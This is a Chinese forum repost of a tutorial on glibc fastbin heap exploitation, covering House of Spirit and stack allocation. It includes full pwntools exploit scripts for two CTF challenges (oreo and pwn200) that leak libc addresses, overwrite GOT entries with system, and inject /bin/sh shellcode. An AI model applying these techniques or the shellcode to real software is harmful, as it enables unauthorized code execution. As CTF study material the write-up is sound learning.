安全矩阵

 找回密码
 立即注册
搜索
查看: 1522|回复: 0

PWN:fastbin attack学习

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-9-30 20:13:41 | 显示全部楼层 |阅读模式
PWN:fastbin attack学习
作者:yichen

来自于公众号:看雪学院
原文链接:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458355235&idx=1&sn=a68ae0875ea8c7144c74f62fdb7a4703&chksm=b180b6a986f73fbf1fdb5fbdd8d7b202b86fa18b517ba4c04a1254f4f4e88334bdeae30a1d0d&mpshare=1&scene=23&srcid=0930A2FK2iaFQuRV2NS5AdIB&sharer_sharetime=1601460991832&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd




本文为看雪论坛精华文章
看雪论坛作者ID:yichen115


fastbin

大小:
32位:16-64字节 0x10-0x40
64位:32-128字节 0x20-0x80
chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头)

fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面。

单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点。

例如:
  1. free(ptr1);

  2. free(ptr2);
复制代码

最后那么是这样的 fastbin -> ptr2 -> ptr1。

空闲的 fastbin chunk 不会被合并,不会修改 chunk 头。

拿这个例子做一下实验:
  1. #include<stdio.h>
  2. void main(){
  3.     char *a1=malloc(0x10);
  4.     memset(a1,0x41,0x10);
  5.     char *a2=malloc(0x10);
  6.     memset(a2,0x42,0x10);
  7.     char *a3=malloc(0x10);
  8.     memset(a3,0x43,0x10);
  9.     char *a4=malloc(0x30);
  10.     memset(a4,0x44,0x30);
  11.     char *a5=malloc(0x30);
  12.     memset(a5,0x45,0x30);
  13.     printf("malloc done!\n");
  14.     free(a1);
  15.     free(a2);
  16.     free(a3);
  17.     free(a4);
  18.     free(a5);
  19.     printf("free done\n");
  20. }
复制代码



可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向:


Fastbin Double Free

wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin。


House Of Spirit


又是全新的知识 Orz。

在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的。

有一些条件:
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

  1. #include <stdio.h>
  2. #include <stdlib.h>

  3. int main() {
  4.     malloc(1);

  5.     fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
  6.     unsigned long long *a, *b;
  7.     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

  8.     fprintf(stderr, "The first one:  %p\n", &fake_chunks[0]);
  9.     fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);

  10.     fake_chunks[1] = 0x20;      // the size
  11.     fake_chunks[5] = 0x1234;    // nextsize

  12.     fake_chunks[2] = 0x4141414141414141LL;
  13.     fake_chunks[6] = 0x4141414141414141LL;

  14.     fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
  15.     a = &fake_chunks[2];

  16.     fprintf(stderr, "Freeing the overwritten pointer.\n");
  17.     free(a);

  18.     fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
  19.     b = malloc(0x10);
  20.     fprintf(stderr, "malloc(0x10): %p\n", b);
  21.     b[0] = 0x4242424242424242LL;
  22. }
复制代码


通过构造 fake chunk,然后把它给释放掉,这样再次申请相同大小的 chunk 的时候就会匹配到这里。

house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法。

如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话,我们可以把这个指针覆盖为栈上的某一个地址,并且把这个地址上伪造一个 chunk,free 之后再次 malloc 就可以申请到栈上面伪造的那一块,这时候就有可能改写返回地址了。

通过上面那个程序直观的看一下:
  1. gcc -g house_of_spirit.c
复制代码


首先在程序的第 14 行下个断点 b 14。

运行到这里可以看到 fake_chunk 目前还没有被我们写入:

我们直接让他写完,再来看一下,已经构造出 fake chunk 了。

对 fake_chunk 进行 free 之后:

可以看一下 fastbin 现在已经是有了我们构造的那个 fake_chunk 了:

接下来再次 malloc 一个相同大小的 chunk 就会把这里申请过去:
  1. b = malloc(0x10);
  2. b[0] = 0x4242424242424242LL;
复制代码



构造 chunk 的时候要注意绕过一些检查:

后面那三个特殊的标志位前两个必须都为 0,写 size 位的时候直接 0xN0就可以了,然后大小要注意符合 fastbin 的大小,next chunk 的大小也要注意,必须大于 2*SIZE_SZ,小于 av->system_mem。

64位下:16< next chunk 的 size < 128

Alloc to Stack

通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址。


Arbitrary Alloc

跟上一个的区别在于这个是往任何可写的地方去分配 chunk。

2014 hack.lu oreo


先随便申请两个看一下结构:
  1. add('1'*20,'a'*20)
  2. add('2'*20,'b'*20)
复制代码


可以看到申请的第二个上有一个指向第一个的指针:

那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了。
  1. name = 'a'*27 + elf.got['puts']
复制代码




这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 '/bin/sh' 的地址。

接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以。

这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4)。


  1. count=1
  2. while count<0x3f:
  3.   add('a' * 27 + p32(0), 'b')
  4.   count=count+1
  5. payload = 'a' * 27 + p32(0x0804a2a8)
  6. add(payload,25 * 'a')
复制代码


这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk:

还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查。

来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容:

我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如:

  1. payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  2. payload = payload.ljust(52, 'b')
  3. payload += p32(0)
  4. payload = payload.ljust(128, 'c')
  5. leave(payload)
复制代码


首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size。

此时内存布局:

释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk。

然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容:
  1. payload = p32(elf.got['strlen']).ljust(20, 'a')
  2. add('b' * 20,payload)
  3. leave(p32(sys_addr) + ';/bin/sh\x00')
复制代码


这里覆盖的是 strlen 的 got 表的内容为 system 的地址:

Leave a Message 功能里面调用了一个函数,其中有 strlen。

相当于 system(p32(sys_addr) + ";/bin/sh")。

exp:

  1. from pwn import *
  2. context.log_level = 'debug'
  3. p=process('./oreo')
  4. elf=ELF('./oreo')
  5. libc = ELF('./libc.so.6')

  6. def cmd(choice):
  7.   p.sendline(str(choice))
  8.    
  9. def add(name,description):
  10.   cmd(1)
  11.   p.sendline(name)
  12.   p.sendline(description)
  13.    
  14. def show():
  15.   cmd(2)
  16.   p.recvuntil('===================================\n')

  17. def order():
  18.   cmd(3)
  19.    
  20. def leave(notice):
  21.   cmd(4)
  22.   p.sendline(notice)
  23.    
  24. def stats():
  25.   cmd(5)
  26.    
  27. add('1'*20,'a'*20)
  28. name = 'a'*27 + p32(elf.got['puts'])
  29. add(name,'b'*20)

  30. show()
  31. p.recvuntil('===================================\n')
  32. p.recvuntil('Description: ')
  33. puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
  34. print hex(puts_addr)
  35. libc_base = puts_addr - libc.symbols['puts']
  36. sys_addr = libc_base + libc.symbols['system']
  37. binsh_addr = libc_base + next(libc.search('/bin/sh'))

  38. count=1
  39. while count<0x3f:
  40.   add('a' * 27 + p32(0), 'b')
  41.   count=count+1

  42. payload = 'a' * 27 + p32(0x0804a2a8)
  43. add(payload,25 * 'a')
  44. payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  45. payload = payload.ljust(52, 'b')
  46. payload += p32(0)
  47. payload = payload.ljust(128, 'c')
  48. leave(payload)

  49. order()
  50. p.recvuntil('Okay order submitted!\n')
  51. payload = p32(elf.got['strlen']).ljust(20, 'a')
  52. add('b' * 20,payload)

  53. leave(p32(sys_addr) + ';/bin/sh\x00')
  54. p.interactive()
复制代码


L-CTF2016–pwn200


这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来。

buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉:

在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里:

首先通过 read 函数来泄露出来 rbp 中保存的地址:

  1. shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  2. payload = shellcode.ljust(46, 'a')
  3. payload += 'bb'
  4. p.send(payload)
  5. p.recvuntil('bb')
  6. leak_addr = p.recvuntil(', w')[:-3]
  7. leak_addr = u64(leak_addr.ljust(8,'\x00'))
  8. fake_addr = leak_addr - 0x90
  9. shellcode_addr = leak_addr - 0x50
复制代码


箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处。

因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem)。
  1. p.recvuntil('id ~~?')
  2. p.sendline('48')
复制代码


然后再输入 money 的时候伪造一个 chunk,并且覆盖掉 dest。
  1. p.recvuntil('money~')
  2. payload = p64(0) * 5 + p64(0x41)
  3. payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
  4. p.send(payload)
复制代码


这是构造的 fake chunk:

emmm,要是再减去 0x8 就更好看了:

看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址:

先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell。

这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的。


exp:

  1. from pwn import *
  2. p = process("./pwn")
  3. shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  4. payload = shellcode.ljust(46, 'a')
  5. payload += 'bb'
  6. #len=0x30
  7. p.send(payload)
  8. p.recvuntil('bb')
  9. leak_addr = p.recvuntil(', w')[:-3]
  10. leak_addr = u64(leak_addr.ljust(8,'\x00'))
  11. fake_addr = leak_addr - 0x90
  12. shell_addr = leak_addr - 0x50
  13. print 'shellcode addr:'+hex(shell_addr)
  14. print 'fake addr:'+hex(fake_addr)
  15. print 'leak addr:'+hex(leak_addr)

  16. p.recvuntil('id ~~?')
  17. p.sendline('48')

  18. p.recvuntil('money~')
  19. payload = p64(0) * 5 + p64(0x41)
  20. payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
  21. p.send(payload)

  22. p.recvuntil('choice : ')
  23. p.sendline('2')

  24. p.recvuntil('choice : ')
  25. p.sendline('1')
  26. p.recvuntil('long?')
  27. p.sendline('48')
  28. p.recvuntil('\n48\n')

  29. payload = '0' * 0x18 + p64(shell_addr)
  30. payload = payload.ljust(48, '\x00')
  31. p.send(payload)
  32. p.recvuntil('choice : ')
  33. p.sendline('3')

  34. p.interactive()
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:49 , Processed in 0.013810 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表